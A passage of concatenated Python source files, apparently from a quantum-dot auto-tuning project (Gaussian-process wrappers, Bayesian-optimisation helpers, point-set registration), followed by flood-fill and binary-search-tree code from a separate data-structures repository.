2.25765077e-01, 1.25099259e-03, 8.05792338e-08, 9.45403448e-13], [2.66750478e-01, 1.00000000e+00, 3.26841059e-01, 4.12765083e-04, 5.35202839e-08], [2.03396254e-03, 1.85905049e-01, 1.00000000e+00, 1.43947865e-01, 7.78828027e-04], [8.45614836e-08, 2.73164211e-03, 2.09218832e-01, 1.00000000e+00, 2.73003173e-01], [4.61575699e-13, 1.89962878e-08, 3.65315897e-04, 3.68532330e-01, 1.00000000e+00]]) def __call__(self, x): x = np.array(x) check = self.matrix.dot(x.T) > self.max[:, np.newaxis] shape = np.all(check[:, :], axis=0) return shape def define_crosstalk_matrix(self, ndim, mean, stdev): dims = (ndim, ndim) gaussian = scipy.stats.norm(mean, stdev) maximum = gaussian.pdf(mean) def f(i, j): # Create array of random values (0, 0.3) to add to crosstalk matrix randoms = np.random.random(dims) * 0.3 # Add to index difference (i - j) to maintain gaussian # np.sign so that they shift away from mean not just towards higher value difference = i - j return gaussian.pdf(difference + (randoms * np.sign(j - i))) / maximum matrix = np.fromfunction(lambda i, j: f(i, j), dims, dtype='float32') # Plot the matrix that represents the crosstalk. Blues cmap to make it similar to the Volk qubyte paper import matplotlib.pyplot as plt plt.matshow(matrix, cmap='Blues') return matrix ``` #### File: AutoDot/Registration/perfect_hypercube.py ```python import numpy as np def generate_points_on_hypercube(nsamples,origin,poffs,p=None,uvecs=None): if uvecs is None: epsilon = [] bounds = [] for i in range(len(origin)): origin_c = np.copy(origin) poffs_c = np.copy(poffs) origin_c[i] = poffs_c[i] bounds += [origin_c] print(origin_c,poffs_c) epsilon += [np.linalg.norm(origin_c-poffs_c)] epsilon = np.array(epsilon) if p is None: p = epsilon/epsilon.sum() print(p) points = [] for i in range(nsamples): face = np.random.choice(len(origin),p=p) points+=[np.random.uniform(bounds[face],poffs)] return np.array(points) def clean_pointset(pointset): pointset = np.copy(pointset) for point in pointset: toremove = np.where(np.all(np.less(pointset,point),axis=1))[0] pointset = np.delete(pointset,toremove,axis=0) #for point in pointset: # print(np.less(pointset,point)) # print(np.where(np.logical_all(pointset<point))) return pointset if __name__ == "__main__": p = generate_points_on_hypercube(200,[120,40],[-200,-300],None) print(p) import matplotlib.pyplot as plt plt.scatter(*p.T) plt.show() ``` #### File: AutoDot/Registration/simple_hyper_surf_test.py ```python from functools import partial import matplotlib.pyplot as plt from registration_core import notranslation_affine_registration,simple_affine_registration,deformable_registration import numpy as np def visualize(iteration, error, X, Y): min_l = np.minimum(X.shape[0],Y.shape[0]) abs_error = np.linalg.norm(X[:min_l]-Y[:min_l],axis=-1) print(iteration,error,np.sum(abs_error)/min_l) #diffs = X[:min_l]-Y[:min_l] #print(np.std(diffs,axis=0)) #surface_points = np.load("data//moving_B2t2_cd2.npy") surface_points_target = np.load("data//save_Florian_redo//vols_poff_prev.npy") surface_points = np.load("data//save_Florian_redo//vols_poff_after.npy")#[:,[0,1,2,3,4,6,7]] #surface_points_target = np.load("data//target_B2t2_cd1.npy") #surface_points = np.load("data//moving_B1t2_b1.npy") #surface_points_target = np.load("data//target_B1t2_b2.npy") #surface_points = np.load("data//moving_B1t2_b1.npy") #surface_points_target = np.load("data//target_B2t2_cd1.npy") #""" min_l = np.minimum(len(surface_points<-1990),len(surface_points_target)) usefull = np.logical_and(~np.any(surface_points<-1990,axis=1)[:min_l],~np.any(surface_points_target<-1990,axis=1)[:min_l]) surface_points = surface_points[:min_l][usefull] surface_points_target = surface_points_target[:min_l][usefull] #""" print(surface_points.shape,surface_points_target.shape) callback = partial(visualize) reg = notranslation_affine_registration(**{ 'X': np.copy(surface_points_target), 'Y': np.copy(surface_points)}) reg.register(callback) device_change = reg.B-np.diag(np.ones(7)) m_cmap = np.abs(device_change).max() m_cmap = 0.3 plt.imshow(device_change.T,vmin=-m_cmap,vmax=m_cmap,cmap='PuOr') xlabels = ['$V_1$', '$V_2$', '$V_3$', '$V_4$', '$V_5$', '$V_7$', '$V_8$'] ylabels = ['$VT_1$', '$VT_2$', '$VT_3$', '$VT_4$', '$VT_5$', '$VT_7$', '$VT_8$'] xlabs = np.linspace(0,6,7) plt.xticks(xlabs,xlabels) plt.yticks(xlabs,ylabels) plt.colorbar() plt.savefig("B1t2_transformation.svg") plt.show() np.save("vols_poff_transformed_prevb1b2.npy",reg.TY) np.save("vols_poff_prevb1b2.npy",reg.Y) np.save("vols_poff_afterb1b2.npy",reg.X) print(np.linalg.det(reg.B),m_cmap) #np.save("data/registrated_pointset_B1toB2.npy",reg.TY) ``` #### File: AutoDot/Sampling/BO_common.py ```python from functools import partial from multiprocessing import Pool import numpy as np from scipy.stats import norm # for calculating normpdf, normcdf from scipy import optimize # for optimisation from pyDOE import lhs # Latin hypercube sampling #import scipydirect # for minimisation def EI( best_prev, mean_x, std_x, min_obj=True , dmdx=None, dsdx=None ): #diff = best_prev - mean_x #return diff*norm.cdf(diff/std_x) + std_x*norm.pdf(diff/std_x) diff = best_prev - mean_x if min_obj is False: diff = -diff # max problem z = (best_prev - mean_x)/std_x phi, Phi = norm.pdf(z), norm.cdf(z) if dmdx is not None and dsdx is not None: #https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/acquisitions/EI.py if min_obj: dEIdx = dsdx * phi - Phi * dmdx else: dEIdx = dsdx * phi + Phi * dmdx else: dEIdx = None return std_x*(z*Phi + phi), dEIdx def augmented_EI( best_prev, mean_x, std_x, std_noise, min_obj=True, dmdx=None, dsdx=None ): var_sum = np.square(std_noise) + np.square(std_x) EI, _ = EI( best_prev, mean_x, std_x, min_obj, dmdx, dsdx) aug_EI = EI* (1.0 - std_noise/np.sqrt(var_sum)) # WARNING: gradient is not impledmented yet return aug_EI, None def sample_lhs_basic(ndim, num_samples): # returns a num_samples x ndim array lhd = lhs(ndim, samples=num_samples) return lhd def sample_lhs_bounds(lb, ub, num_samples): # returns a num_samples x ndim array if lb.ndim != 1 or ub.ndim != 1: raise ValueError('Bounds should be 1-dim. vectors.') if lb.size != ub.size: raise ValueError('Length of lb should be same with ub.') if np.any(lb > ub): raise ValueError('lb cannot be larger than ub.') ndim = ub.size diff = ub - lb lhd = sample_lhs_basic(ndim, num_samples) lhd = lhd * diff + lb return lhd # TODO: check trust-constr params def optimize_trust_constr(x0, f, lb, ub, const_func=None, maxiter=200): dim = lb.size bounds = [(lb[i],ub[i]) for i in range(dim)] # constraint: const_func(x) == 0 const = optimize.NonlinearConstraint(const_func, 0.0, 0.0) res = optimize.minimize(f, x0=x0, method='trust-constr', jac='3-point', hess='3-point', bounds=bounds, constraints=const) result_x = np.atleast_1d(res.x) result_fx = np.atleast_1d(res.fun) return result_x, result_fx def optimize_lbfgs(x0, f, lb, ub, const_func=None, maxiter=200): if const_func is not None: f_augmented = lambda x : f(x) + 10000.*const_func(x) else: f_augmented = f dim = lb.size bounds = [(lb[i],ub[i]) for i in range(dim)] res = optimize.fmin_l_bfgs_b(f,x0=x0,bounds=bounds,approx_grad=True, maxiter=maxiter) d = res[2] if d['task'] == b'ABNORMAL_TERMINATION_IN_LNSRCH': result_x = np.atleast_1d(x0) else: result_x = np.atleast_1d(res[0]) result_fx = f(result_x) const_val = const_func(result_x) converged = True if d['warnflag'] != 0: converged = False disp = True if converged is False and disp is True: if d['warnflag'] == 1: print('Too many function evaluations or iterations') elif d['warnflag'] == 2: print('Stopped for another reason') print('x: ', result_x, ', fx: ', result_fx) print('gradient: ', d['grad'], ', constraint: ', const_val ) return result_x, result_fx, {'converged':converged, 'const_val':const_val} def optimize_Largrange(x0, f, lb, ub, const_func, maxiter=200): dim = lb.size bounds = [(lb[i],ub[i]) for i in range(dim)] + [(0.0, np.inf)] f_augmented = lambda x : f(x[:-1]) + x[-1]*const_func(x[:-1]) x0 = np.append(x0, 1.0) # initial lambda res = optimize.fmin_l_bfgs_b(f_augmented,x0=x0,bounds=bounds,approx_grad=True, maxiter=maxiter) d = res[2] if d['task'] == b'ABNORMAL_TERMINATION_IN_LNSRCH': result_x = np.atleast_1d(x0)[:-1] else: result_x = np.atleast_1d(res[0])[:-1] result_fx = f(result_x) const_val = const_func(result_x) converged = True if d['warnflag'] != 0: converged = False disp = True if converged is False and disp is True: if d['warnflag'] == 1: print('Too many function evaluations or iterations') elif d['warnflag'] == 2: print('Stopped for another reason') print('x: ', result_x, ', lambda: ', res[0][-1], ', fx: ', result_fx) print('gradient: ', d['grad'], ', constraint: ', const_val ) return result_x, result_fx, {'converged':converged, 'const_val':const_val} def optimize_trust_constr(x0, f, lb, ub, const_func, maxiter=200): bounds = optimize.Bounds(lb, ub) nonlin_const = optimize.NonlinearConstraint(const_func, 0.0, 0.0, jac=const_func.J, hess=const_func.H) res = optimize.minimize(f, x0, method='trust-constr', constraints=[nonlin_const], bounds=bounds) converged = res.status is 1 or res.status is 2 return res.x, res.fun, {'converged':converged, 'const_val':res.constr[0]} def optimize_SLSQP(x0, f, lb, ub, const_func, maxiter=200): bounds = optimize.Bounds(lb, ub) eq_cons = {'type': 'eq', 'fun': const_func, 'jac': const_func.J} res = optimize.minimize(f, x0, method='SLSQP', constraints=[eq_cons], bounds=bounds, options={'ftol': 1e-9}) converged = res.status is 0 const_val = const_func(res.x) return res.x, res.fun, {'converged':converged, 'const_val':const_val} def filter_results(result_filter, x_all, fx_all, stat_all): if callable(result_filter): filtered_all = [result_filter(stat) for stat in stat_all] if any(filtered_all): x_all = [x for (x,filtered) in zip(x_all, filtered_all) if filtered] fx_all = [fx for (fx,filtered) in zip(fx_all, filtered_all) if filtered] stat_all = [stat for (stat,filtered) in zip(stat_all, filtered_all) if filtered] else: print('WARNING: No result can satisfy the result filter') return x_all, fx_all, stat_all def optimize_multi_x0(opt_func, x0_all, f, lb, ub, const_func, maxiter=200, result_filter=None): num_x0 = len(x0_all) # run the optimizer with multiple restarts x_found_all = list() fx_found_all = list() stat_all = list() for idx_x0 in range(len(x0_all)): x0 = x0_all[idx_x0] result_x, result_fx, stat = opt_func(x0, f, lb, ub, const_func=const_func, maxiter=maxiter) x_found_all.append(result_x) fx_found_all.append(result_fx) stat_all.append(stat) x_found_all, fx_found_all, stat_all = filter_results(result_filter, x_found_all, fx_found_all, stat_all) idx_min = np.argmin(fx_found_all) # index of max EI x_min = x_found_all[idx_min] fx_min = fx_found_all[idx_min] return x_min, fx_min def optimize_multi_x0_parallel(opt_func, x0_all, f, lb, ub, const_func, maxiter=200, result_filter=None, num_proc=4): #f_x0 = lambda x0 : opt_func(x0, f, lb, ub, const_func=const_func, maxiter=maxiter) f_x0 = partial(opt_func, f=f, lb=lb, ub=ub, const_func=const_func, maxiter=maxiter) pool = Pool(processes=num_proc) x0_all = [x0 for x0 in x0_all] list_tuples = pool.map(f_x0, x0_all) x_found_all, fx_found_all, stat_all = zip(*list_tuples) # list of tuples to multiple lists x_found_all, fx_found_all, stat_all = filter_results(result_filter, x_found_all, fx_found_all, stat_all) idx_min = np.argmin(fx_found_all) # index of max EI x_min = x_found_all[idx_min] fx_min = fx_found_all[idx_min] return x_min, fx_min def optimize_DIRECT(f, lb, ub, const_func, maxiter=200): dim = lb.size bounds = [(lb[i],ub[i]) for i in range(dim)] f_augmented = lambda x : f(x) + 10.*const_func(x) res = scipydirect.minimize(f_augmented, bounds=bounds) print(res) x = res['x'] print(const_func(x)) print(f(x)) return res['x'], res['fun'] class Constraint_SS(object): ''' Sum of squared values ''' def __call__(self, x): return np.sum(np.square(x)) -1.0 # constraint to make length 1.0 def J(self, x): #print(x) return [2.0 * x] def H(self, x, v): #print(x,v) return v * 2.0 * np.eye(x.size) class Constraint_Sum(object): ''' Sum of values ''' def __call__(self, x): return np.sum(x) - 1.0 # constraint to make length 1.0 def J(self, x): return [x] def H(self, x, v): return np.zeros((x.size,x.size)) def uniform_to_hypersphere(samples): samples = norm.ppf(samples) # change to normally distributed samples samples = np.fabs(samples) # make to one-sided samples samples = -samples/np.sqrt(np.sum(np.square(samples),axis=1,keepdims=True)) # length to 1, direction to negative side return samples def random_hypersphere(dim, num_samples): samples = np.random.uniform(size=(num_samples,dim)) #return (-directions[np.newaxis,:])*uniform_to_hypersphere(samples) return uniform_to_hypersphere(samples) def lhs_hypersphere(dim, num_samples): samples = sample_lhs_basic(dim, num_samples) # could be confusing with param. of np.random.uniform return uniform_to_hypersphere(samples) def random_hypercube(point_lb, point_ub, num_samples): assert len(point_lb) == len(point_ub) ndim = len(point_lb) interval = point_ub - point_lb offset = point_lb samples = np.random.uniform(size=(num_samples,ndim))*interval[np.newaxis,:] + offset #print(samples) return samples ''' def random_hypercube(point_lb, point_ub, num_samples): assert len(point_lb) == len(point_ub) ndim = len(point_lb) # choose a face face_idx = np.random.randint(ndim) # coordinate of this index is point_lb[face_idx] face_lb = np.append(point_lb[:face_idx], point_lb[face_idx+1:]) face_ub = np.append(point_ub[:face_idx], point_ub[face_idx+1:]) interval = point_ub - point_lb interval[face_idx] = 0. offset = point_lb samples = np.random.uniform(size=(num_samples,ndim))*interval[np.newaxis,:] + offset #print(samples) return samples # convert samples to unit vectors #u_samples = (samples-point_ub[np.newaxis,:])/np.sqrt(np.sum(np.square(samples),axis=1,keepdims=True)) # length to 1, direction to negative side #return u_samples ''' # for test lhd def main(): lb = np.array([1.0, 2.0, 3.0]) ub = np.array([2.0, 3.0, 4.0]) lhd = sample_lhs_bounds(lb,ub,10) print(lhd) if __name__ == "__main__": main() ``` #### File: Sampling/gp/GP_interface.py ```python import numpy as np class GPInterface(object): def __init__(self): self.kernel = None self.ndim = None self.model = None self.outdim = 1 def create_kernel(self, ndim, kernel_name, var_f=1.0, lengthscale=1.0): pass def create_model(self, x, y, noise_var, noise_prior): pass def predict_f(self, x, full_cov=False): pass def optimize(self, num_restarts=30, opt_messages=False, print_result=False): pass def convert_lengthscale(ndim, lengthscale): if np.isscalar(lengthscale): l = lengthscale * np.ones(ndim) else: l = lengthscale return l def convert_2D_format(arr): if not isinstance(arr, np.ndarray): raise ValueError('The array is not a numpy array.') if arr.ndim == 1: return arr[:, np.newaxis] # asuumes arr is single dimensional data if arr.ndim == 2: return arr else: raise ValueError('The array cannot be more than 2 dimensional') ``` #### File: Sampling/gp/GP_models.py ```python from .GPy_wrapper import GPyWrapper_Classifier as GPC from . import GP_util import numpy as np import multiprocessing from ...main_utils.dict_util import Tuning_dict class GP_base(): def __init__(self,n,bound,origin,configs,GP_type=False): self.GP_type = GP_type self.n,self.bound,self.origin=n,np.array(bound),np.array(origin) self.c = Tuning_dict(configs) self.create_gp() def create_gp(self): l_p_mean, l_p_var = self.c.get('length_prior_mean','length_prior_var') n = self.n l_prior_mean = l_p_mean * np.ones(n) l_prior_var = (l_p_var**2) * np.ones(n) if self.GP_type == False: r_min, var_p_m_div = self.c.get('r_min','var_prior_mean_divisor') r_min, r_max = r_min, np.linalg.norm(self.bound-self.origin) v_prior_mean = ((r_max-r_min)/var_p_m_div)**2 self.gp = GP_util.create_GP(self.n, *self.c.get('kernal'), v_prior_mean, l_prior_mean, (r_max-r_min)/2.0) GP_util.set_GP_prior(self.gp, l_prior_mean, l_prior_var, None, None) # do not set prior for kernel var GP_util.fix_hyperparams(self.gp, False, True) else: v_prior_mean, v_prior_var = self.c.get('var_prior_mean','var_prior_var') v_prior_var = v_prior_var**2 self.gp = GP_util.create_GP(self.n, *self.c.get('kernal'), lengthscale=l_prior_mean, const_kernel=True, GP=GPC) GP_util.set_GP_prior(self.gp, l_prior_mean, l_prior_var, v_prior_mean, v_prior_var) def train(self,x,y,*args,**kwargs): self.gp.create_model(x, y, *args, **kwargs) def optimise(self,**kwargs): if self.GP_type == False: self.gp.optimize(*self.c.get('restarts'),parallel=True,**kwargs) else: self.gp.optimize() #inside = get_between(self.origin,self.bounds,points_poff) #u_all_gp, r_all_gp = util.ur_from_vols_origin(points_poff[inside], self.origin, returntype='array') #self.gp.create_model(u_all_gp, r_all_gp[:,np.newaxis], (self.tester.d_r/2)**2, noise_prior='fixed') def predict(self,x): if self.GP_type == False: return self.gp.predict_f(x) else: return self.gp.predict_prob(x) class GPC_heiracical(): def __init__(self,n,bound,origin,configs): self.built = [False]*len(configs) self.gp = [] for config in configs: self.gp += [GP_base(n,bound,origin,config,GP_type=True)] def train(self,x,y_cond): x = np.array(x) for i,gp in enumerate(self.gp): use_to_train = np.array([True]*x.shape[0])if i == 0 else y_cond[:,i-1] count_pos = use_to_train[use_to_train].size count_pos_of_pos = np.sum(y_cond[use_to_train,i]) print("There are %i training examples for model %i and %i are positive"%(count_pos,i,count_pos_of_pos)) if count_pos>0: gp.train(x[use_to_train],y_cond[use_to_train,i]) self.built[i] = True def optimise(self,parallel=False): if parallel: def f(i): self.gp[i].optimise() #pool = multiprocessing.Pool(multiprocessing.cpu_count()) with Pool(processes=multiprocessing.cpu_count()) as pool: pool.map(f, range(len(self.gp))) #results else: for i,gp in enumerate(self.gp): if self.built[i]: gp.optimise() def predict(self,x): results = [] for i,gp in enumerate(self.gp): if self.built[i]: results += [gp.predict(x)] return results def predict_comb_prob(self,x): probs = self.predict(x) total_prob = np.prod(probs, axis=0) return total_prob ``` #### File: Sampling/gp/GPy_wrapper.py ```python import numpy as np import GPy from .GP_interface import GPInterface, convert_lengthscale, convert_2D_format class GPyWrapper(GPInterface): def __init__(self): # GPy settings GPy.plotting.change_plotting_library("matplotlib") # use matpoltlib for drawing super().__init__() self.center = 0.0 def create_kernel(self, ndim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if kernel_name == 'Matern52': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.Matern52(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') elif kernel_name == 'RBF': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.RBF(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') else: raise ValueError('Unsupported kernel: '+ kernel_name) self.ndim = ndim self.kernel = kernel if const_kernel: self.kernel += GPy.kern.Bias(1.0) self.stat_kernel = self.kernel.basic else: self.stat_kernel = self.kernel def set_kernel_length_prior(self, prior_mean, prior_var): if self.ndim != len(prior_mean) or self.ndim != len(prior_var): raise ValueError('Incorrect kernel prior parameters.') if self.kernel is None: raise ValueError('Kernel should be defined first.') for i in range(self.ndim): self.stat_kernel.lengthscale[[i]].set_prior(GPy.priors.Gamma.from_EV(prior_mean[i],prior_var[i])) # don't know why, but [i] does not work def set_kernel_var_prior(self, prior_mean, prior_var): self.stat_kernel.variance.set_prior(GPy.priors.Gamma.from_EV(prior_mean,prior_var)) def fix_kernel_lengthscale(self): self.stat_kernel.lengthscale.fix() def fix_kernel_var(self): self.stat_kernel.variance.fix() def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center self.outdim = y.shape[1] noise_var = np.array(noise_var) if noise_var.ndim == 0: self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) noise = self.model.Gaussian_noise else: assert noise_var.shape == y.shape self.model = GPy.models.GPHeteroscedasticRegression(x, y, self.kernel) self.model['.*het_Gauss.variance'] = noise_var noise = self.model.het_Gauss.variance if noise_prior == 'fixed': noise.fix() else: raise ValueError('Not Implemented yet.') def predict_f(self, x, full_cov=False): ''' Returns: posterior mean, posterior variance ''' x = convert_2D_format(x) post_mean, post_var = self.model.predict_noiseless(x, full_cov=full_cov) if self.outdim > 1: post_var = np.concatenate([post_var]*self.outdim, axis=-1) return post_mean + self.center, post_var def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. ''' x = convert_2D_format(x) m, v = self.model.predict(x) v = np.clip(v, 1e-10, np.inf) dmdx, dvdx = self.model.predictive_gradients(x) dmdx = dmdx[:,:,0] dsdx = dvdx / (2*np.sqrt(v)) return m + self.center, np.sqrt(v), dmdx, dsdx def posterior_sample_f(self, x, size = 10): ''' Parameters x: (Nnew x input_dim) Returns (Nnew x output_dim x samples) ''' return self.model.posterior_samples_f(x, size) + self.center def optimize(self, num_restarts=30, opt_messages=False, print_result=True, parallel=False): self.model.optimize_restarts(num_restarts=num_restarts, robust=True, parallel=False, messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) print(self.stat_kernel.variance) class GPyWrapper_Classifier(GPyWrapper): def create_model(self, x, y): assert self.center == 0.0 x = convert_2D_format(x) y = convert_2D_format(y) self.outdim = y.shape[1] self.model = GPy.models.GPClassification(x, y, self.kernel) def predict_prob(self, x): x = convert_2D_format(x) prob = self.model.predict(x, full_cov=False)[0] return prob def optimize(self, maxiter=1000, opt_messages=False, print_result=True): for i in range(5): self.model.optimize(max_iters=int(maxiter/5), messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) class GPyWrapper_MultiSeparate(object): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if isinstance(kernel_name, str): kernel_name = [kernel_name]*outdim if np.isscalar(var_f): var_f = np.ones(outdim) * var_f if np.isscalar(lengthscale): var_f = np.ones(outdim) * lengthscale if isinstance(const_kernel, bool): const_kernel = [const_kernel]*outdim self.gp_list = list() for i in range(outdim): gp = GPyWrapper() gp.create_kernel(ndim, kernel_name[i], var_f[i], lengthscale[i], const_kernel[i]) self.gp_list.append(gp) self.outdim = outdim def set_kernel_length_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_length_prior(prior_mean, prior_var) def set_kernel_var_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_var_prior(prior_mean, prior_var) def fix_kernel_lengthscale(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_lengthscale() def fix_kernel_var(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_var() def create_model(self, x, y, noise_var, noise_prior='fixed'): if not (y.ndim == 2 and y.shape[1] == self.outdim): raise ValueError('Incorrect data shape.') noise_var = np.array(noise_var) for i in range(self.outdim): if noise_var.ndim == 2 and noise_var.shape[1] == self.outdim: noise_var_i = noise_var[:, i:i+1] else: noise_var_i = noise_var gp = self.gp_list[i] gp.create_model(x, y[:,i:i+1], noise_var_i, noise_prior) def predict_f(self, x, full_cov=False): post_mean_all = list() post_var_all = list() for i in range(self.outdim): post_mean, post_var = self.gp_list[i].predict_f(x, full_cov) post_mean_all.append(post_mean) post_var_all.append(post_var) return np.concatenate(post_mean_all,axis=-1), np.concatenate(post_var_all,axis=-1) def posterior_sample_f(self, x, size = 10): post_samples_all = list() for i in range(self.outdim): post_samples = self.gp_list[i].predict_f(x, full_cov) post_samples_all.append(post_samples) return np.concatenate(post_samples_all,axis=1) def optimize(self, num_restarts=30, opt_messages=False, print_result=False): for i in range(self.outdim): self.gp_list[i].optimize(num_restarts, opt_messages, print_result) def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. m_all: (num_x, outdim) std_all: (num_x, outdim) dmdx_all: (num_x, outdim, n_dim) dsdx_all: (num_x, outdim, n_dim) ''' m_all, std_all, dmdx_all, dsdx_all = [], [], [], [] for i in range(self.outdim): m, std, dmdx, dsdx = self.gp_list[i].predict_withGradients(x) m_all.append(m) std_all.append(std) dmdx_all.append(dmdx) dsdx_all.append(dsdx) return np.concatenate(m_all,axis=-1), np.concatenate(std_all,axis=-1), np.stack(dmdx_all,axis=1), np.stack(dsdx_all,axis=1) class GPyWrapper_MultiIndep(GPyWrapper): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): super().create_kernel(ndim, kernel_name, var_f, lengthscale, const_kernel) k_multi = GPy.kern.IndependentOutputs([self.kernel, self.kernel.copy()]) #icm = GPy.util.multioutput.ICM(input_dim=ndim, num_outputs=outdim, kernel=self.kernel) #icm.B.W.constrain_fixed(0) # fix W matrix to 0 if const_kernel: self.stat_kernel = k_multi.sum.basic else: self.stat_kernel = k_multi.basic self.kernel = k_multi print(self.kernel) def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center numdata = x.shape[0] outdim = y.shape[1] indim = x.shape[1] yy = y.transpose().ravel() ind = np.concatenate([ o*np.ones(numdata) for o in range(outdim)]) xx = np.concatenate([x]*outdim) xx = np.concatenate((xx,ind[:,np.newaxis]), axis=1) print(xx.shape, yy.shape) self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) if noise_prior == 'fixed': self.model.Gaussian_noise.fix() else: raise ValueError('Not Implemented yet.') def create_GP(num_active_gates, outdim, k_name='Matern52', var_f=1.0, lengthscale=1.0, center=0.0): if np.isscalar(lengthscale): lengthscale = np.ones(num_active_gates) gp = GPyWrapper() # initialize GP environment #gp = GPyWrapper_MultiIndep() # initialize GP environment gp.center = center # GP kernels gp.create_kernel(num_active_gates, k_name, var_f, lengthscale) #gp.create_kernel(num_active_gates, outdim, k_name, var_f, lengthscale) return gp def main(): X = np.arange(1,6).reshape((5,1)) f = lambda x : np.square(x-4.0) #Y = np.concatenate([f(X), -f(X)], axis=1) Y = np.concatenate([f(X)], axis=1) #noise_var = 0.01**2 #noise_var = np.concatenate([np.square(X / 10.)]*2, axis=1) noise_var = np.square(X / 10.) print(X.shape, Y.shape) gp = create_GP(1, 2, 'Matern52', 2.0, 1.0, 0.0) gp.create_model(X, Y, noise_var, noise_prior='fixed') gp.optimize() X_pred = np.linspace(1.,5.,10).reshape((-1,1)) mean, cov = gp.predict_f(X_pred) print(mean) #print(cov) ''' ### # GP Classification test ### X = np.arange(1,6).reshape((5,1)) Y = np.array([1.0, 1.0, 1.0, 0.0, 0.0]).reshape((5,1)) gpc = GPyWrapper_Classifier() gpc.create_kernel(1, 'RBF', 1.0, 1.0) gpc.create_model(X, Y) X_pred = np.linspace(1.,5.,10).reshape((-1,1)) print(gpc.predict_prob(X_pred)) print(gpc.model) gpc.optimize() print(gpc.predict_prob(X_pred)) print(gpc.model) ''' if __name__ == '__main__': main() ```
{ "source": "josephhlwang/DataStructsAlgo", "score": 3 }
#### File: DataStructsAlgo/Algos/flood_fill.py ```python def flood_fill_dfs(mat, x, y, rep): # flood fill algo fills the target val at x,y and all nearby target val to replacement val # it can use dfs or bfs traversal # possible movements ROW = (0, 0, 1, -1) COL = (1, -1, 0, 0) # get target val targ = mat[x][y] # invalid cases if not mat or not len(mat) or targ == rep: return stack = [(x, y)] # run dfs traversal to replace vals while stack: # get cur pos i, j = stack.pop() mat[i][j] = rep # add possible movements from cur pos for k in range(4): next_x = i + ROW[k] next_y = j + COL[k] # only add if movement valid and is target val if is_valid(mat, next_x, next_y) and mat[next_x][next_y] == targ: stack.append((next_x, next_y)) def flood_fill_bfs(mat, x, y, rep): # possible movements ROW = (0, 0, 1, -1) COL = (1, -1, 0, 0) # get target val targ = mat[x][y] # invalid cases if not mat or not len(mat) or not is_valid(mat, x, y) or targ == rep: return queue = [(x, y)] # run bfs traversal to replace vals while queue: # get cur pos i, j = queue.pop(0) mat[i][j] = rep # add possible movements from cur pos for k in range(4): next_x = i + ROW[k] next_y = j + COL[k] # only add if movement valid and is target val if is_valid(mat, next_x, next_y) and mat[next_x][next_y] == targ: queue.append((next_x, next_y)) # check if pos valid def is_valid(mat, x, y): return 0 <= x < len(mat) and 0 <= y < len(mat[0]) # mat = [ # ["Y", "Y", "Y", "G", "G", "G", "G", "G", "G", "G"], # ["Y", "Y", "Y", "Y", "Y", "Y", "G", "X", "X", "X"], # ["G", "G", "G", "G", "G", "G", "G", "X", "X", "X"], # ["W", "W", "W", "W", "W", "G", "G", "G", "G", "X"], # ["W", "R", "R", "R", "R", "R", "G", "X", "X", "X"], # ["W", "W", "W", "R", "R", "G", "G", "X", "X", "X"], # ["W", "B", "W", "R", "R", "R", "R", "R", "R", "X"], # ["W", "B", "B", "B", "B", "R", "R", "X", "X", "X"], # ["W", "B", "B", "X", "B", "B", "B", "B", "X", "X"], # ["W", "B", "B", "X", "X", "X", "X", "X", "X", "X"], # ] # mat2 = [ # ["Y", "Y", "Y", "G", "G", "G", "G", "G", "G", "G"], # ["Y", "Y", "Y", "Y", "Y", "Y", "G", "X", "X", "X"], # ["G", "G", "G", "G", "G", "G", "G", "X", "X", "X"], # ["W", "W", "W", "W", "W", "G", "G", "G", "G", "X"], # ["W", "R", "R", "R", "R", "R", "G", "X", "X", "X"], # ["W", "W", "W", "R", "R", "G", "G", "X", "X", "X"], # ["W", "B", "W", "R", "R", "R", "R", "R", "R", "X"], # ["W", "B", "B", "B", "B", "R", "R", "X", "X", "X"], # ["W", "B", "B", "X", "B", "B", "B", "B", "X", "X"], # ["W", "B", "B", "X", "X", "X", "X", "X", "X", "X"], # ] # x = 3 # y = 9 # replacement = "C" # flood_fill_dfs(mat, x, y, replacement) # flood_fill_bfs(mat2, x, y, replacement) # for arr in mat: # print(arr) ``` #### File: DataStructsAlgo/BST/bst.py ```python from node import Node class BST: # BST contains a Node object as head # Nodes val >= Nodes left childs val; Nodes val < Nodes right childs val; Property recursively true def __init__(self, head=None): self.head = head self.size = 1 if head else 0 def insert(self, val): new_node = Node(val) if self.is_empty(): # replace head self.head = new_node else: # navigate to correct position cur = self.head while True: # go left if val <= cur.val: if cur.left == None: cur.left = new_node break cur = cur.left # go right else: if cur.right == None: cur.right = new_node break cur = cur.right self.size += 1 def level_order(self): if not self.is_empty(): # level order in trees same as BFS is graphs # no need to keep visited since trees have no cycles queue = [self.head] tree = "" # cur_level is number of nodes on current level, next_level same cur_level, next_level = 1, 0 while queue: cur = queue.pop(0) tree += str(cur.val) + " " cur_level -= 1 if cur.left: queue.append(cur.left) next_level += 1 if 